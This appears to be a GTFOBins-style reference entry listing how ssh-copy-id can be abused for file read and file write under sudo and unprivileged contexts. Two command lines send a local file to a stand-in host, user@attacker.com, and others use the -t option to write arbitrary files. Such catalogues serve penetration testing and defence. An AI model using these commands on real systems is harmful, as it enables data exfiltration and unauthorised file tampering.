The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com copy
Evidence Upstream reference
Environment Local host
Compatibility Linux reference. macOS compatibility has not been checked for this command and execution context.
Context sudo
Native file-read The input file must have the `.pub` file extension. The file will be copied to `~/.ssh/authorized_keys`, otherwise the `-t /path/to/output-file` option can be used.
ssh-copy-id -f -i /path/to/input-file.pub user@attacker.com copy
Evidence Upstream reference
Environment Local host
Compatibility Linux reference. macOS compatibility has not been checked for this command and execution context.
Context unprivileged
Native file-read The input file must have the `.pub` file extension.
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host copy
Evidence Upstream reference
Environment Local host
Compatibility Linux reference. macOS compatibility has not been checked for this command and execution context.
Context sudo
Native file-write
file-write File Write Linux
The input file must have the `.pub` file extension.
ssh-copy-id -f -i /path/to/input-file.pub -t /path/to/output-file user@host copy
Evidence Upstream reference
Environment Local host
Compatibility Linux reference. macOS compatibility has not been checked for this command and execution context.
Context unprivileged
Native file-write